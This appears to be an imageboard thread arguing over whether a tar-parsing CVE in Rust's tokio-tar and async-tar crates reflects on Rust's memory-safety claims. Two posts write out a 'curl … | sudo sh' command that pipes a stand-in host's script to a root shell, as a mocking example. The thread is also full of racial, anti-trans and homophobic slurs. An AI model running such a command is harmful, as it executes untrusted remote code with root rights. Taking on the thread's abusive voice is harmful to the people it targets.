imagine still falling for the rust scam
>>106978885>tokioooofcrabs reelingthe rest of us knew that rust is one big supply chain attack though
>>106978893 (cont.) (case in point)rust is nsa lang
How can I make use of this CVE?
>>106978952you could start with reading ithttps://www.cve.org/CVERecord?id=CVE-2025-62518
yet another /g/eet waking up to share the latest shit they fell for>>106963824>>106963909
>>106978996>damage control>the tolerant left that wants everyone to embrace the brown color calls people jeetsi meanjust fucking go home, retard
>>106978929false sense of security: the language
>>106979023its a junglethe more complex of a frameworkthe more room there is for blind spotsits a+b tier of stuff for anyone even passably competent in programming
>>106978952try this>yay tarmageddon-tool
>>106979023>>106979034 contits a midwit trapbut thats how its efficientmost people in the world are midwits, by definition
>>106979040Not rly, midwit usually means 110-125 IQ or some shit, which is only a small slice of the populationIt's an idiotic term used by retarded larping faggots, generally speaking.
>>106979050ok, definitions i guesshowever we call em, rust is a booby trapfukken of the agent orange kindyoure told its safe and effective only to realize youve been backdoored way after the factfkn chem hazard prion fucking dioxins
>>106979071its more that people will consider it 100% secure and become careless and complacent meanwhile there's still logic errors
>>106979099iunnoi think the whole safety circus also plays into people trusting cargo blindlychain of trust kind of dealsupposedly enforced by the language itselfbut also yeahi have a predatorial spiritand cargo + the attitude of its evangelists create a false sense of security ripe to get exploitedand you can be sure im on the lower end of the scale of predatory attitude compared to glowiestheyre literally paid to do nothing but figure out angles on things
erm, i thought rust was safe??
>>106979170...and effective!blazingly fast!
>>106979182 contto be completely honest that example has been patchedbut come the fuck onthis hasnt been addressed before some lad made cve-rsand rust is i, development since 18 fucking years mind youhalf of the age of c++one third of clet that sink in
>>106979010>tech illiterate>/pol/ schizo talk>"you are a tranny" incoming as last resort retort
>>106979251>tolerant left = tranyyoure the one saying it thoughare the tranies in the room with you, anon?do they tell you to do things? things you dont want?but also i can roll with leftraniesyour call
>>106978996>>106963824 (Cross-thread)>>106963909 (Cross-thread)LMAO, like rust doesn't overstate the danger of "being memory unsafe" which is literally an unspecified term in rust land
>>106978885>rust is memory sa-AAAAACCCCCCCCCCCCKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK
>>106979034>the more complex of a framework>the more room there is for blind spotsso what you're saying is... that rust suffers from the same problems as every other language, which is that incompetent programmers will shoot themselves on the foot, rendering the entire existence of rust.... useless?I thought it "prevented a whole class of bugs" LOLwhat a scam
>>106979295>everyone sucks so we do tooi thought you were supposed to do betterthats what you said, anon
>>106979295>>106979305aaahdr the restdidnt see youre being ironicalim drunk, indulge mespeaking of which, time to get some zizz i guesscya around
>>106978885I’m just here to mine the rustroon seethe.
>>106979320forgiven
>>106978929Can someone smarter than me explain a logical reason to rewrite crypto libraries in rust instead of the “rust ports” being wrappers around the battle-tested C libraries? I mean for the user, obviously this was always going to introduce a million glownigger backdoors
>>106979274rust is memory safe
>>106978885>safe and effec--ACKi'm sorry but i'm just not going to take the rust
>>106979272the bug had nothing to do with memory safety, or type safety, or any kind of protection safe rust actually promises. nothing was "breached" in that regard.and these retarded CVEs get submitted for all kinds of projects written in different languages.if this relatively obscure crate having a logical bug is news, it's just another tuesday, wednsday, thursday, friday, saturday, sunday, and monday for projects written in C in C++, except some of those projects are far from obscure, and many of those bugs are retarded and the majority of them belong to classes of bugs safe rust completely prevents. but some of them are logical bugs just like this one. many of them do share the same exaggerated impact "marketed" with them like this one.anyone who is a tech literate, irrespective of language taste, can comprehend this just fine. unfortunately, that low requirement excludes most /g/eets.
>>106978885>>106978988>This vulnerability is a desynchronization flaw that allows an attacker to "smuggle" additional archive entries into TAR extractions>RCEWhat, that's it?Where is the execution part of this supposed Remote Code Execution exploit?
>>106979479>the bug has nothing to do with the term I change to fit each argument. Ok sis.
the rustardcean damage control squad has arrived
>>106979560NTA, then what kind of memory unsafety are we talking about here?There was no out of bounds access, heap corruption, data race, double free, null pointer deterrence or any other undefined behavior.
>>106979577>deterrence*dereference
>>106979577It was literally an out of bounds access due to undefined behavior at the program level that the compiler could not catch because of lacking type safety.
>extract archive>it overwrites start.sh>run start.shsomething like that probably
>>106979643>out of bounds access>the parser fails to skip over the actual file data [...] then incorrectly interprets the inner archive's headers as legitimate entries belonging to the outer archiveIt all happens in-bounds, there was no undefined behaviour invoked. They even made a diagram on that website.
>>106979684So you need to send someone a tar file, tell him to decompress it and then to run the script hidden in the archive.How is this even a vulnerability...
>>106979790Congratulations on learning why curl totallylegitinstaller.biz.su | sudo sh is not a great pattern to use.
curl totallylegitinstaller.biz.su | sudo sh
>>106979931It's not a good idea no matter if there are some hidden headers in the tar file or not.
>>106979510mainly the hypothetical situation where you extract the contents and it writes to a location that you thought you sanitized (which is bad code, you shouldn't be able to overwrite anything that could be executable).I don't know if this exploit allows you to use relative paths like ../../ which could do some real damage.
>>106979643You should try reading the CVE. It was caused by reading the incorrect tar header (because tar files can have multiple). Said header typically specifies an offset of zero, which causes the library to start reading earlier in the file than it should. It’s all on bounds, entirely defined behaviour, it’s just the wrong behaviour. Nothing about rust had an effect on this bug and no other language would’ve either.
>>106979781This is the issue with the rustroons lack of understanding of memory safety. "In" and "out" of bounds depends on which set of bounds you're talking about. When malloc mmaps in memory, it is allowed to access any byte of that memory. But when it hands some of that memory to a subsystem, the subsystem is only allowed to access the bytes that are part of the allocation. The bytes are "in" bounds for malloc, but "out" of bounds to the subsystem. So too with any system with respect to it's subsystems.I'm really only explaining this to the peanut gallery, because the rustroons will never be able to wrap their heads around this. They will, with zero self awareness or irony, write a custom allocator in order to circumvent the borrow checker, let use after frees and leaks pile up out the ass, then tell you with a straight face that it's all memory safe because the compiler said it was ok. They do not understand what is wrong with that and cannot be brought to understand.I should mention something else. When official rust docs and the like claim to be able to prevent memory safety, they mean something very narrow: they can guarantee that a program will never segv. This is because, in safe rust, we cannot convert an int to a pointer, and we cannot generate pointers to invalid memory. While interesting, this is perfectly useless in the real world. If a program segvs, then it will cleanly crash and any crisis will be averted. The danger with "memory safety" in c is not crashing, it is subsystem A inadvertently accessing memory belonging to subsystem B. Rust cannot prevent this sort of unsafety, and should stop lying to people by pretending it can.
>>106980012Neither tokio-tar nor async-tar write to any location, they just parse tar files and give you an iterator over entries. The paths can be whatever and it's up to your program to validate paths. Whenever you get some hidden entry or not, you still gotta do it and you won't even know it was a malformed, hidden header.For this exploit to work you would have to use some other tar parser in a tandem and have this entries mismatch cause some other exploit but I doubt any of the dozen async-tar dependents does this. There is no attack vector.This is such a nothing burger.
>>106980065>I'm really only explaining this to the peanut gallery, because the rustroons will never be able to wrap their heads around this. This is downstream of their language not having any defined standard, both for how the language works but also what they actually mean by “memory safety.” I mean, I’m a professional webshitter that only uses GC languages and even I have some understanding of how memory is allocated and worked with, these fucks have absolutely no excuse for their ignorance
>>106979479still winning in the race against general threads
>>106980065Having a parser misinterpret file data as a header does not imply out of bounds access unless an actual out of bounds access happens.
>>106980123Majority of most popular languages do not have a defined standard. This never stopped any language from being memory safe. Also Rust defined memory safety or safety in general. A safe program is a program that does not invoke undefined behaviour. An unsafe function is a function that can cause undefined behaviour.If you are a webshitter then you should know that for example JavaScript is a memory safe language. You could easily have this kind of vulnerability like in OP in JavaScript, despite it being a standarized, memory safe language. This is because this vulnerability does not invoke any undefined behavior but is merely a logic error. A faulty parser that misinterprets data.
>>106980140I thought of an analogy that even a rustroon might be able to understand, tell me if this gets through to you: given that safe rust is turing complete, and given that c is turing complete, we could write an interpreter for c in safe rust, with the exact same semantics as c normally has. Now we could take an unsafe c program, and run it on top of our "safe" rust interpreter. It would have the exact same semantics as c normally has, hence it would be unsafe.What would be going on is the following: our interpreter would ask for a Vec<u8> from the rust allocator, which would happily comply. Our c program would then be moving bytes around in this Vec<u8>. All these accesses would be in bounds for the Vec<u8>, because the rust stdlib inserts bounds checks to ensure that. However, the c program would have it's own interpretation by which it would decide that certain regions of that Vec<u8> were special, and that certain parts of itself shouldn't access those regions and other parts should. And given that the c program is unsafe, we know that those assumptions are sometimes violated. So the c program has an out of bounds access. Does the rust program? Obviously, because it is the host of the c program.Does that help you to understand what's going on?
>>106980237dumb retard
>>106979510fuck off cloudef
>>106980237>we could write an interpreter for c in safe rust, with the exact same semantics as c normally has. Now we could take an unsafe c program, and run it on top of our "safe" rust interpreter. It would have the exact same semantics as c normally has, hence it would be unsafe.No, it actually wouldn't. C language has undefined behavior, but your interpreted will not have any. You do not implement a language in an abstract sense, but instead write an interpreter that matches the behavior where it is defined, and chooses some other behavior where standard is not defined. In order to actually inherit undefined behavior in this scenario, you would have to explicitly invoke undefined behavior in unsafe Rust wherever you attempt to interpret C code doing it. If you do not do that, all that behavior that is undefined under C standard is implementation defined in your interpreter.>So the c program has an out of bounds access. Does the rust program?The C program would contain out of bounds access and undefined behavior. But your interpreter running that code would not inherit either because in contrast to C code, it is not limited to what is defined by the C standard. It defines its own behavior for these nonstandard scenarios.
>>106980301>cloudefWhat does that even mean
>>106980237This is pedantry, what is “out of bounds” is contextual, and in this case, no, the interpreted C code could not access another processes memory, protected memory, or hardware registers, unless the facility to do so was implemented in the interpreter. The aforementioned cases are where memory safety presents security concerns in the majority of cases, and are what are exploited to chain exploits and achieve code execution outside of the limited confines of the original process. If processes regularly received large, contiguous chunks of memory, many memory safety issues would not be easily exploitable, because you’d only be able to access your own programs memory in the majority of cases. However, most environments do not allocate memory like this, and reading past the bounds of an array or struct will land you in another programs memory.
>>106980279don't interrupt the comedy.where else would you find a file format parser bug described as "undefined behavior at the program level that the compiler could not catch because of lacking type safety"keki think i'm going to intermittently giggle for a week every time i remember this sentence.
>>106979510Escaping the sandbox with a convoluted, 0.001% chance of working, lua jailbreak in some db software was a 10.0RCE from the code you, the person running the DB, have to supply to itRCE is a joke since a hearbleed with securityfags trying to hype up ever single minor thing
>>106980330>This is pedantry, what is “out of bounds” is contextual,that out of bounds is contextual is exactly my point>the interpreted C code could not access another processes memory, protected memory, or hardware registersall those protections are implemented by the operating system. the benefit of rust is not usually treated as being limited to embedded scenarios. We would certainly all be better off if it was>>106980307>C language has undefined behavior, but your interpreted will not have any. You do not implement a language in an abstract sense, but instead write an interpreter that matches the behavior where it is defined, and chooses some other behavior where standard is not defined.Any time we execute a c program, all "undefined" behaviour settles on a concrete definition. The problem with undefined behaviour is not that it is undefined, but rather the high chance of it being defined in a way that we don't like. It is in that sense not very special, it is simply a particular case of a program which does something different from what we intended.>The C program would contain out of bounds access and undefined behavior. But your interpreter running that code would not inherit either because in contrast to C code, it is not limited to what is defined by the C standard. It defines its own behavior for these nonstandard scenarios."contains" is transitive. If X contains Y and Y contains Z then X contains Z. The rust program contains the c program, and the c program contains the out of bounds access. Therefore the rust program contains the out of bounds access. It is not "out of bounds" from the perspective of the rust compiler. Hence the rust compiler cannot protect us from us. That those not make it any less fatal.
>>106980475>undefined behaviour>definedhmmmm...
>>106980498“Undefined behavior” is quite simply behavior that is not explicitly defined by the standard. In practice it means every implementation is free to define its own behavior in these cases (every single one does)As an aside, Rust does not actually have undefined behavior because that would require having a standard that defines what the proper behavior is beyond “whatever the fuck rustc and cargo do” (the reference implementation is also completely 100% bug free for the same reason), so I’m not sure if you actually have the vocabulary necessary to understand this conversation
>>106980555dumb retard
>>106980615>arguing with tripsPoint out the inaccuracies
>>106980641>every implementation is free to define its own behavior in these cases (every single one does)wrong>Rust does not actually have undefined behaviorwrong>the reference implementation is also completely 100% bug freewrong
>>106980641undefined behaviour is expressly called out as such in the standard. it is not simply behaviour that implementations are free to define, it is a state that well formed c programs should never invoke. (Safe) rust doesn't have undefined behaviour in this sense.
>>106980651>>106980653>rustlings are proven too stupid to understand my pointsI’ll go slower. Tell me which point you disagree with1. A “bug” is not just something you don’t like. It’s behavior that’s different from what “should” be happening2. The only standard rust has for what “should” be happening when a given program executes is the implementation of the compiler3. “Undefined” behavior is that which is labeled as such and left to implementations to choose what to do (since real hardware has to do *something*)4. Rust therefore has no undefined behavior since nothing in it is labeled as such5. rustc is itself a rust program, so its intended behavior is defined as whatever rustc does. Compiler bugs are therefore behavior rustc does that is contrary to what rustc says should happen. This is an absurd contradiction so therefore rustc does not have any bugs
>>106980733>2. The only standard rust has for what “should” be happening when a given program executes is the implementation of the compilerwrong>3. “Undefined” behavior is that which is labeled as such and left to implementations to choose what to do (since real hardware has to do *something*)wrong>4. Rust therefore has no undefined behavior since nothing in it is labeled as suchwrong>5. rustc is itself a rust program, so its intended behavior is defined as whatever rustc does. Compiler bugs are therefore behavior rustc does that is contrary to what rustc says should happen. This is an absurd contradiction so therefore rustc does not have any bugswrong
>>106980733>1. A “bug” is not just something you don’t like. It’s behavior that’s different from what “should” be happeningsure>2. The only standard rust has for what “should” be happening when a given program executes is the implementation of the compilerrust has documentation, and furthermore the code is written with intention by humans. There will be bugs discovered from time to time, and we know they are bugs because they will be patched.>3. “Undefined” behavior is that which is labeled as such and left to implementations to choose what to do (since real hardware has to do *something*)this is false buts lets not quibble>4. Rust therefore has no undefined behavior since nothing in it is labeled as suchrust does have undefined behaviour. There is unsafe rust, which has undefined behaviour. This means the implementation is free to change the behaviour even between reruns of the compiler. undefined behaviour could be defined as the situation where the implementation doesn't constrain itself as to what happens. >5. rustc is itself a rust program, so its intended behavior is defined as whatever rustc does.this is nonsense.
>>106978885wow how could anyone have known that a language called "rust" would have an abandonware problem
>>106980653Wait, this is outright wrong.The behavior of an int overflow is undefined in C. The reason for this is not that you could not possibly reason about an int overflow, but that C cannot force a chip manufacturer's hand in how they want to design this or the other processor to handle it. Some systems will wrap around, some systems will leave it at the max value, some systems might even treat it as an illegal instruction, though I'm not sure why they'd bother. In no case is it random or unpredictable what happens. It's just platform-dependent.Now, assuming that you as a developer have a specific platform you're targeting (say, a particular embedded system), it is infrequently but occasionally possible to optimize a program by taking advantage of this kind of behavior. Say you want to do an overflow check - it might be computationally cheaper, on your platform, to test whether your int is negative or stuck at MAX_INT instead of trying to compare it and the value you're going to add to it with MAX_INT. If you're running your program on a shitty little chip and evaluating this number many times per second, that's a meaningful optimization to your program. And while such a program would be niche, it is well-formed.
